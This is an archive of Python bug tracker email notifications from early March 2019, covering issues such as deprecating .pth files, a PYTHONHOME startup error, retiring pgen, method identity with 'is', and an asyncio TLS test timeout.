Miro Hron?ok <miro at hroncok.cz> added the comment:

I am not able to do PRs right now but here are the Fedora patches:

https://src.fedoraproject.org/rpms/python34/blob/master/f/00302-fix-multiprocessing-regression-on-newer-glibcs.patch
https://src.fedoraproject.org/rpms/python35/blob/master/f/00302-fix-multiprocessing-regression-on-newer-glibcs.patch


They seem quite identical to the applied 3.6 patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:25:40 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 01 Mar 2019 23:25:40 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <24c80d54-9b86-1b5c-afae-e49ff065a7fe@mail.ru>
Message-ID: <E3E9470F-A4CF-459E-B475-9CE652C33238@python.org>


Barry A. Warsaw <barry at python.org> added the comment:

On Mar 1, 2019, at 09:27, Ivan Pozdeev <report at bugs.python.org> wrote:

> Startup code (custom or not) is not a dependency of anything. It rather customizes the environment in which the program specified by the user would run, _before_ any user code could be allowed to get control. It is not a part of the program to be run but rather of the environment that the user wants, and it needs to be implicit so the user can use the same commands and code (compare venv). This is a required feature because the stock Python startup logic cannot possibly provide all the customizations that a user may need (compare initrd).
> 
> .pth's are equivalent to sitecustomize but allow the user to manage the set of code chunks automatically using the packaging infrastructure (compare .d directories in UNIX). The fact that this feature is mixed up with and often supplements "real packages" that a program would explicitly use is actually incidental: a package with a .pth does not need to have any functionality intended for explicit use.
> 
> We already identified a few real reasons: hard to see, hard to debug, encourages unreadable code, run in arbitrary order when the order matters (and IIRC I provided fixes for all). What else?

The fact that .pth files are global and affect the entire Python installation.  That?s not so bad in venvs where we have environmental isolation, but it?s really bad (IMHO) for the global Python interpreter.  Right now, there?s no control over the scope of such environmental customizations; it?s all or nothing.  Applications should be able to opt in or out of them, just like they can with individual packages (which must be imported in order to affect the interpreter state).  The trick then is how to define opt-in for applications *before* the interpreter gets to user code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:33:53 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 01 Mar 2019 23:33:53 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551469539.77.0.989102452259.issue36154@roundup.psfhosted.org>
Message-ID: <CAEfz+TxbDMP_Ap6WqhRq1TuTkAakxmidhXfOu+8sHfeXOxULqQ@mail.gmail.com>


Inada Naoki <songofacandy at gmail.com> added the comment:

You must not set PYTHON HOME. Python find it's home by itself.
But since PYTHONHOME is set, Python can't find it's home.

2019?3?2?(?) 4:45 kellena <report at bugs.python.org>:

>
> kellena <onegreatbigworld at gmail.com> added the comment:
>
> There isn't much. I downloaded this and installed it from python.org with
> the install wizard. Shouldn't all of the necessary environment variables
> have been added at that time?
>
> $ env | grep PYTHON
>
> PYTHONHOME=/usr/local/bin/python3
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36154>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:34:46 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 23:34:46 +0000
Subject: [issue35808] Let's retire pgen
In-Reply-To: <1548221537.82.0.492786218381.issue35808@roundup.psfhosted.org>
Message-ID: <1551483286.68.0.750416620863.issue35808@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 1f24a719e7be5e49b876a5dc7daf21d01ee69faa by Pablo Galindo in branch 'master':
bpo-35808: Retire pgen and use pgen2 to generate the parser (GH-11814)
https://github.com/python/cpython/commit/1f24a719e7be5e49b876a5dc7daf21d01ee69faa


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35808>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:35:16 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 23:35:16 +0000
Subject: [issue35808] Let's retire pgen
In-Reply-To: <1548221537.82.0.492786218381.issue35808@roundup.psfhosted.org>
Message-ID: <1551483316.85.0.294079670853.issue35808@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35808>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:50:34 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 23:50:34 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1551484234.18.0.446502801334.issue36097@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset bcfa450f210074e16feb761ae5b3e966a2532fcf by Eric Snow in branch 'master':
bpo-36097: Use only public C-API in the_xxsubinterpreters module (adding as necessary). (#12003)
https://github.com/python/cpython/commit/bcfa450f210074e16feb761ae5b3e966a2532fcf


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:51:38 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 23:51:38 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1551484298.73.0.744273442567.issue36097@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Fri Mar  1 19:03:46 2019
From: report at bugs.python.org (Eric Snow)
Date: Sat, 02 Mar 2019 00:03:46 +0000
Subject: [issue35466] Use a linked list for the ceval pending calls.
In-Reply-To: <1544566227.12.0.788709270274.issue35466@psf.upfronthosting.co.za>
Message-ID: <1551485026.45.0.572132052943.issue35466@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

At this point I'm not terribly interested in this. :)

----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35466>
_______________________________________

From report at bugs.python.org  Fri Mar  1 19:20:09 2019
From: report at bugs.python.org (Ma Lin)
Date: Sat, 02 Mar 2019 00:20:09 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1551486009.37.0.828404023013.issue35859@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12137

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Fri Mar  1 19:27:46 2019
From: report at bugs.python.org (David Bolen)
Date: Sat, 02 Mar 2019 00:27:46 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551486466.8.0.107823056823.issue33608@roundup.psfhosted.org>


David Bolen <db3l.net at gmail.com> added the comment:

If I can help with testing or builder access or anything just let me know.  It appears that I can pretty reliably trigger the error through just the individual tests (test_daemon_threads_shutdown_std{out,err}_deadlock) in isolation, which is definitely less tedious than a full buildbot run to test a change.

BTW, while not directly related since it was only just merged, and I won't pretend to have any real understanding of the changes here, I do have a question about PR 12024 ... it appears HEAD_UNLOCK is used twice in _PyInterpreterState_LookUpID.  Shouldn't one of those be HEAD_LOCK?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  1 19:30:59 2019
From: report at bugs.python.org (muhzi)
Date: Sat, 02 Mar 2019 00:30:59 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551486659.43.0.718572667912.issue36162@roundup.psfhosted.org>


muhzi <air.oamyst517 at yahoo.com> added the comment:

After some testing, it works and builds extensions OK for android arm with API>=21. fails on lower API versions (e.g. 16).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Fri Mar  1 19:45:01 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 02 Mar 2019 00:45:01 +0000
Subject: [issue32387] Disallow untagged C extension import on major platforms
In-Reply-To: <1513784874.54.0.213398074469.issue32387@psf.upfronthosting.co.za>
Message-ID: <1551487501.47.0.916339142342.issue32387@roundup.psfhosted.org>


Gregory P. Smith <greg at krypto.org> added the comment:

I think it'd be worth doing on POSIX systems for some 3.8 alpha/beta release cycles before making a final call there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32387>
_______________________________________

From report at bugs.python.org  Fri Mar  1 20:13:19 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 02 Mar 2019 01:13:19 +0000
Subject: [issue32129] IDLE app icon is blurry on macOS with Aqua Tk 8.6
In-Reply-To: <1511585376.3.0.213398074469.issue32129@psf.upfronthosting.co.za>
Message-ID: <1551489199.27.0.754006601137.issue32129@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

After patching my 3.7.2 Macbook installation, and reviewing #20406 which added the icon code, I understand this issue better.  IDLE, while open and unlike other Mac apps I later tested, was replacing the initial Mac IDLE app dock icon (tilted page with double snakes and pen) with the cross-platform IDLE icon.

This was an accidental side-effect.  #20406 replaced the tk icon on the title bar of IDLE windows with the little IDLE icons.  Before merging, I checked that this did not affect the large app icons on the taskbar.  I assume that Serhiy did the equivalent on Linux.  I don't think that the patch was visually checked on Mac.

After the patch, I noticed that the normal behavior with macOS is to put a barely visible (to my eyes) black dot under dock icons when an app is open.  On Windows, the icon is also left as is, but a much more visible icon-width underline is added while open.  I approve of removing the while-open overlay on Mac and don't think it needs to be reinstated.
---

Kevin, I suspect that higher resolution .pngs (64px, 128px?) would help on other *nixes, (and perhaps Windows), but this would be another issue.  Whatever is in the .ico file for Windows looks awful in the corner of IDLE windows on my system, but this also is another issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32129>
_______________________________________

From report at bugs.python.org  Fri Mar  1 21:16:43 2019
From: report at bugs.python.org (lgj)
Date: Sat, 02 Mar 2019 02:16:43 +0000
Subject: [issue36163] same object, same method,
 but the is keyword return false.
Message-ID: <1551493003.4.0.454203101795.issue36163@roundup.psfhosted.org>


New submission from lgj <929102624 at qq.com>:

>>> class A():
...   def a(self):
...       pass
...
>>> a = A()
>>> a is a
True
>>> a.a is a.a
False
>>> id(a.a)
4532803784
>>> id(a.a)
4532803784
It's seems quite oops.

----------
messages: 336979
nosy: lgj1993
priority: normal
severity: normal
status: open
title: same object, same method, but the is keyword return false.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36163>
_______________________________________

From report at bugs.python.org  Fri Mar  1 21:29:09 2019
From: report at bugs.python.org (Yasser Alshalaan)
Date: Sat, 02 Mar 2019 02:29:09 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1551493749.42.0.253086368425.issue36138@roundup.psfhosted.org>


Yasser Alshalaan <yalshalaan at gmail.com> added the comment:

I'll do this in a moment I'll have the PR

----------
nosy: +Yasser Alshalaan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Fri Mar  1 21:36:48 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Sat, 02 Mar 2019 02:36:48 +0000
Subject: [issue36163] same object, same method,
 but the is keyword return false.
In-Reply-To: <1551493003.4.0.454203101795.issue36163@roundup.psfhosted.org>
Message-ID: <1551494208.65.0.716214249409.issue36163@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

The ``is`` operator returns False because the two objects are different objects.

Methods are descriptors, and whenever you access an instance method, you get a brand-new method object. This is described in the documentation for descriptors:

https://docs.python.org/3/howto/descriptor.html#functions-and-methods

The last two tests in your example both call id(a.a), which returns the same ID number for precisely the same reason as we explained in your previous bug report #36156. Since the two "a.a" method objects don't exist at the same time, the interpreter is permitted to re-use the same ID number for them.

P.S. remember in the previous bug report you raised, I asked you to use less awkward and confusing names? "a.a" is a terrible name, even for a simple example like this. It makes it hard to talk about what is going on when "a" is an instance and also a method.

----------
nosy: +steven.daprano
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36163>
_______________________________________

From report at bugs.python.org  Fri Mar  1 22:29:25 2019
From: report at bugs.python.org (Yasser Alshalaan)
Date: Sat, 02 Mar 2019 03:29:25 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1551497365.82.0.802133752937.issue36138@roundup.psfhosted.org>


Change by Yasser Alshalaan <yalshalaan at gmail.com>:


----------
keywords: +patch
pull_requests: +12138
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Fri Mar  1 22:52:12 2019
From: report at bugs.python.org (Ned Deily)
Date: Sat, 02 Mar 2019 03:52:12 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551498732.91.0.939431585096.issue36154@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Yes, remove the PYTHONHOME env variable definition and things should be fine.

----------
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 22:58:43 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 02 Mar 2019 03:58:43 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551499123.06.0.887686294349.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Barry's response in https://bugs.python.org/issue33944#msg336970 is exactly what my response to that point was going to be.

Just because I want to use package spam and it wants to use package eggs doesn't mean that eggs gets to enable cloud imports (or anything else similarly magical) automatically. If I want that, it can provide it and tell me to call it in my code, or it can do it when needed. Neither of those options require arbitrary code execution in a .pth file.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Fri Mar  1 22:59:43 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Sat, 02 Mar 2019 03:59:43 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <E3E9470F-A4CF-459E-B475-9CE652C33238@python.org>
Message-ID: <70922b41-b699-4f39-ace6-e9ad56c3c017@mail.ru>


Ivan Pozdeev <ivan_pozdeev at mail.ru> added the comment:

On 02.03.2019 2:25, Barry A. Warsaw wrote:
> The fact that .pth files are global and affect the entire Python installation. <...> Right now, there?s no control over the scope of such environmental customizations; it?s all or nothing.

That's the entire purpose of "customizing the environment in which the 
program specified by the user would run". A customization can very well 
be implemented to be application-specific but it doesn't have to. Python 
was never designed to isolate modules from each other (an "application" 
as you say it is just another module) -- on the contrary, the amount of 
power it gives the user over the code that they don't control is one of 
its key appeals. A Python installation acts as a unit where anything can 
affect anything else, and the order is maintained with 
https://en.wikipedia.org/wiki/Soft_security .

So, if you need a compartmentalized application, a regular Python 
installation is a wrong tool for the job.
Compartmentalization comes at the price of:

  * rampant code duplication ('cuz if you actively distrust external
    code, you have to bring all the code you need with you) and all its
    corollaries (no automatic security fixes and modernized semantics;
    no memory and disk space economy from shared library reuse)
      o so compartmentalization is absolutely impossible within a shared
        environment: anything that you use can be changed by the user
        (e.g. to satisfy the requirements of something else, too)
  * lack of interoperability (how many Android apps do you know that can
    use each other's functionality?).

Venv does a pretty good job of providing you with a private copy of any 
3rd-party modules you require but not the envvars, the interpreter and 
the standard library (and any OS facilities they depend on). If you 
require a harder barrier between your app and the rest of the system 
and/or wish to actively prevent users from altering your application, 
you'll have to use a private Python installation (e.g. in /opt), or hide 
it from everyone with the likes of Pyinstaller, or an OS-level 
container, or a VM... or just drop the pretense and go SaaS(S) (that'll 
teach those sneaky bastards to mess with my code!).

> Applications should be able to opt in or out of them, just like they can with individual packages (which must be imported in order to affect the interpreter state).
Right on the contrary. To decide what environment an application shall 
be run in is the user's prerogative. The application itself has 
absolutely no business meddling in this. All it can do is declare some 
requirements for the environment (either explicitly or implicitly by 
making assumptions) and refuse to work or malfunction if they are not 
met (and the user is still fully within their right to say: "screw you, 
I know what I am doing" -- and fool the app into thinking they are met 
and assume responsibility for any breakages).

With "individual packages", it's actually completely the same: the app 
can decide which ones it wants to use, but it's the user who decides 
which ones are available for use!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:09:14 2019
From: report at bugs.python.org (kellena)
Date: Sat, 02 Mar 2019 04:09:14 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551499754.28.0.430901647148.issue36154@roundup.psfhosted.org>


kellena <onegreatbigworld at gmail.com> added the comment:

That worked! Thank you!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:19:58 2019
From: report at bugs.python.org (Open Close)
Date: Sat, 02 Mar 2019 04:19:58 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1551500398.01.0.708896449353.issue35998@roundup.psfhosted.org>


Open Close <openandclose23 at gmail.com> added the comment:

I have the same TimeoutError on Arch linux PC (openssl 1.1.1a).

It is random, but for now running test continuously at most 5 times successfully brings about the fail.

So I think msg335635 needs re-checking.
He saids PR 10011 makes this test pass in fedora 29 VM,
but thinking about that it only adds an conditional to FreeBSD, it is not likely.

    if sys.platform.startswith('freebsd'):
        client_context.options |= ssl.OP_NO_TLSv1_3

And indded, if commenting out the conditional line,
the test actually passes.
So I also think the commit needs re-considering.
f777fa5f2bd16ac8d60416eaa64eb9d2cf84ffac (Opt out of TLS 1.3 only on FreeBSD) 

---

$ uname -a
Linux **** 4.20.4-arch1-1-ARCH #1 SMP PREEMPT Wed Jan 23 00:12:22 UTC 2019 x86_64 GNU/Linux
(native, not venv nor vm)

$ ./python -m test.pythoninfo | grep ssl
ssl.HAS_SNI: True
ssl.OPENSSL_VERSION: OpenSSL 1.1.1a  20 Nov 2018
ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 1, 15)
ssl.OP_ALL: 0x80000054
ssl.OP_NO_TLSv1_1: 0x10000000

$ ./python -X tracemalloc -m unittest -v test.test_asyncio.test_sslproto.SelectorStartTLSTests.test_start_tls_server_1
...
======================================================================
ERROR: test_start_tls_server_1 (test.test_asyncio.test_sslproto.SelectorStartTLSTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/philo/me/git/cpython/Lib/test/test_asyncio/test_sslproto.py", line 510, in test_start_tls_server_1
    self.loop.run_until_complete(run_main())
  File "/home/philo/me/git/cpython/Lib/asyncio/base_events.py", line 589, in run_until_complete
    return future.result()
  File "/home/philo/me/git/cpython/Lib/test/test_asyncio/test_sslproto.py", line 503, in run_main
    await asyncio.wait_for(
  File "/home/philo/me/git/cpython/Lib/asyncio/tasks.py", line 461, in wait_for
    raise exceptions.TimeoutError()
asyncio.exceptions.TimeoutError

----------------------------------------------------------------------
Ran 1 test in 60.076s

----------
nosy: +op368

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:21:30 2019
From: report at bugs.python.org (Kubilay Kocak)
Date: Sat, 02 Mar 2019 04:21:30 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1551500490.59.0.906081379098.issue35998@roundup.psfhosted.org>


Change by Kubilay Kocak <koobs.freebsd at gmail.com>:


----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:31:03 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 02 Mar 2019 04:31:03 +0000
Subject: [issue36103] Increase shutil.COPY_BUFSIZE
In-Reply-To: <1551087533.63.0.252770144463.issue36103@roundup.psfhosted.org>
Message-ID: <1551501063.6.0.725229284577.issue36103@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 4f1903061877776973c1bbfadd3d3f146920856e by Inada Naoki in branch 'master':
bpo-36103: change default buffer size of shutil.copyfileobj() (GH-12115)
https://github.com/python/cpython/commit/4f1903061877776973c1bbfadd3d3f146920856e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36103>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:32:31 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 02 Mar 2019 04:32:31 +0000
Subject: [issue36103] Increase shutil.COPY_BUFSIZE
In-Reply-To: <1551087533.63.0.252770144463.issue36103@roundup.psfhosted.org>
Message-ID: <1551501151.54.0.889717006901.issue36103@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I chose 64 KiB because performance difference between 64 and 128 KiB
I can see is only up to 5%.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36103>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:41:42 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 02 Mar 2019 04:41:42 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551501702.67.0.698783833737.issue36142@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Agreed - I think the biggest thing we learned from the pre-implementation in Python 3.7 is that the "Let's move as much config as we can to Python C API data types" fell down in a couple of areas:

1. The embedding application is likely to speak char* and/or wchar_* natively, not PyObject*, and this applies even for CPython's own current `Py_Main` implementation.

2. There's some core system libc interaction scaffolding that we need in place first, giving 3 phases, not two:

- initialise anything needed to read configuration settings from the environment and command line (i.e. memory allocators, interface encodings)
- initialise the things needed to execute builtin and frozen Python modules (core data types, random hash seed, etc)
- initialise the things needed to execute external Python modules (sys.path, etc)

I'll update PEP 432 so it at least mentions some of the lessons learned, and points to the current internal configuration API definitions in the CPython source tree.

----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:51:07 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Sat, 02 Mar 2019 04:51:07 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
In-Reply-To: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>
Message-ID: <1551502267.63.0.659787275515.issue36158@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

> i want to apply a regex on a list of strings. 

The example you give doesn't include a list of strings, it has some unknown "entity" object with an unknown "trigger" attribute. Please refactor the code to remove the use of a class we don't have access to. You may find that entity.trigger does not contain what you think it contains.

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Fri Mar  1 23:58:48 2019
From: report at bugs.python.org (Yasser Alshalaan)
Date: Sat, 02 Mar 2019 04:58:48 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1551502728.29.0.943299205148.issue36138@roundup.psfhosted.org>


Change by Yasser Alshalaan <yalshalaan at gmail.com>:


----------
pull_requests: +12139

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Sat Mar  2 00:22:13 2019
From: report at bugs.python.org (Open Close)
Date: Sat, 02 Mar 2019 05:22:13 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1551504133.81.0.713074472317.issue35998@roundup.psfhosted.org>


Open Close <openandclose23 at gmail.com> added the comment:

It may be openssl 1.1.1a specific.
I don't understand most of what they say,
but the changelog (to 1.1.1b) 'looks' suspicious.
https://www.openssl.org/news/changelog.html#x1

...Actually Archlinux updated openssl to 1.1.1b about 4 days ago,
so I can 'test' 1.1.1b.
But which means I may not be able to reproduce the fail after that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Sat Mar  2 00:42:27 2019
From: report at bugs.python.org (Yasser Alshalaan)
Date: Sat, 02 Mar 2019 05:42:27 +0000
Subject: [issue36138] Improve documentation about converting
 datetime.timedelta to scalars
In-Reply-To: <1551279277.78.0.420201199405.issue36138@roundup.psfhosted.org>
Message-ID: <1551505347.27.0.610728881119.issue36138@roundup.psfhosted.org>


Change by Yasser Alshalaan <yalshalaan at gmail.com>:


----------
pull_requests:  -12138

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36138>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:01:36 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Sat, 02 Mar 2019 06:01:36 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <70922b41-b699-4f39-ace6-e9ad56c3c017@mail.ru>
Message-ID: <74054139-8141-4396-8075-EBCDB8A54E1D@python.org>


Barry A. Warsaw <barry at python.org> added the comment:

On Mar 1, 2019, at 19:59, Ivan Pozdeev <report at bugs.python.org> wrote:
> 
> Ivan Pozdeev <ivan_pozdeev at mail.ru> added the comment:
> 
> On 02.03.2019 2:25, Barry A. Warsaw wrote:
>> The fact that .pth files are global and affect the entire Python installation. <...> Right now, there?s no control over the scope of such environmental customizations; it?s all or nothing.
> 
> That's the entire purpose of "customizing the environment in which the
> program specified by the user would run". A customization can very well
> be implemented to be application-specific but it doesn't have to. Python
> was never designed to isolate modules from each other (an "application"
> as you say it is just another module) -- on the contrary, the amount of
> power it gives the user over the code that they don't control is one of
> its key appeals. A Python installation acts as a unit where anything can
> affect anything else, and the order is maintained with
> https://en.wikipedia.org/wiki/Soft_security .

So I just come at it from a different angle (I think Steve and I are aligned).

Here?s a very real use case about the dangers.  I use my Linux package manager to install a bunch of applications (I don?t totally agree with the ?an application is just another package?).  I don?t even know that they are Python applications, they?re just tools that do something I like.  Now I have an idea for some cool Python thing to hack on and I just install a few development libraries with my package manager.   Maybe those libraries come from a secondary repo that has a different level of scrutiny.  Or maybe I think, hey what?s the harm to just `sudo pip install` a few things (yes, people do this all the time ;).

Subtly, under the hood, one of those transient dependencies down the stack installs some .pth file that executes some arbitrary code and breaks some of those distro provided applications.  And lets say I don?t notice weird things happening for a week.  Now I think ?whoa! how did that application break? I didn?t change it at all?.  Not only did I mysteriously break things I relied on, but unless I?m an expert Pythonista and I know how to debug site.py, I?ve got almost no hope of fixing the problem by myself (SO to the rescue?).  If I do manage to diagnose the problem, I?ll have to go and uninstall the bad package, and I *should* report things to my distro or upstream.  Of course, upstream may say that it?s critical functionality to their library so too bad for you.

I?m not even making that up. :)

Sure, maybe the very concept of a distro-wide Python application is a mistake, but it?s what we have now, and it?s not going away.

>> Applications should be able to opt in or out of them, just like they can with individual packages (which must be imported in order to affect the interpreter state).
> Right on the contrary. To decide what environment an application shall
> be run in is the user's prerogative. The application itself has
> absolutely no business meddling in this.

Again, I just look at this from a different perspective.  The user probably doesn?t even know all the environmental factors that affect the operation of their applications, and changes in that environment can happen without the user?s knowledge.  All they?re going to know is that application X which is critical to their work has just broken.  Sadly, the engineer looking into the bug they filed on it will not be able to reproduce the problem.  And now nobody is happy. :)

> With "individual packages", it's actually completely the same: the app
> can decide which ones it wants to use, but it's the user who decides
> which ones are available for use!

It?s actually not the same, and that?s the point.  An application won?t ever import a library that actively harms it.  But it has no such guards against changes to the environment ? any environment, including magical Python code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:10:24 2019
From: report at bugs.python.org (Atsuo Ishimoto)
Date: Sat, 02 Mar 2019 06:10:24 +0000
Subject: [issue36164] Updating Py_InspectFlag programmatically
